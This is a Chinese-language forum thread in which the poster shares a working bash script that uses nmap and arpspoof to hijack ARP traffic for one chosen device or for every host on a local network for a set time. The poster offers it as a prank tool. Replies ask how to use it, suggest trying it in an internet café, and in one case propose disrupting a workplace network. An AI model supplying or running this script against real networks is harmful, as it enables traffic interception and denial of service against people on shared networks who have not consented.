loukx1006 发表于 2021-6-16 23:32

简单的arp劫持脚本

本帖最后由 loukx1006 于 2021-6-17 13:16 编辑

需要nmap和arpspoof
很简单的一个小脚本,可以拿来做小恶作剧
#!/bin/bash
gate=$(ip route show|grep default|awk -F ' ' '{print $3}')
echo "------------------------"
echo "网关ip:$gate"
echo "------------------------"
echo "1: 指定ip"
echo "2: 全体ip"
echo "------------------------"
echo -n "选择 > "
read choice
echo "------------------------"

all_ip () {
        echo -n "输入要劫持的时间 > "
        read time
        echo "------------------------"
        arpspoof -i eth0 $gate & { sleep $time;kill $!;sleep 5;kill $!;sleep 5;kill $!&} > /dev/null 2>&1
}

choose_ip () {
        see_all=$(nmap -sn $gate/24|grep "Nmap scan"|awk -F ' ' '{print $5;print $6}'|cut -d "(" -f 2 |cut -d ")" -f 1|sed 'N;/^$/d;G')
        # |awk '++i%2' 匹配偶数行
        echo "$see_all"
        echo "------------------------"
        echo -n "输入要进行arp欺骗的ip > "
        read ip
        echo "------------------------"
        echo -n "输入要劫持的时间 > "
        read time
        echo "------------------------"
        arpspoof -i eth0 -t $ip -r $gate & { sleep $time;kill $!;sleep 5;kill $!;sleep 5;kill $!&} > /dev/null 2>&1
}

shutdown () {
echo "------------------------"
echo "|         关闭         |"
echo "------------------------"
}

if [ $choice = 1 ];then
        choose_ip
        shutdown
elif [ $choice = 2 ];then
        all_ip
        shutdown
else
        echo "输入错误"
        shutdown
fi

rzhxw 发表于 2021-6-17 09:58

怎么用,内网是否能用

tanghengvip 发表于 2021-6-17 11:12

可以在网吧玩玩

DENGQG 发表于 2021-6-17 11:39

很棒!!!先收藏起来

nappywu 发表于 2021-6-23 12:33

厉害了,楼主现在在哪里工作呀,我们在招人哦

Laotu 发表于 2022-11-15 11:27

这个怎么用呀,我们单位网络最近差的很,相关部门也不维修。我准备捣鼓一下,然后让他维修。
页: [1]
查看完整版本: 简单的arp劫持脚本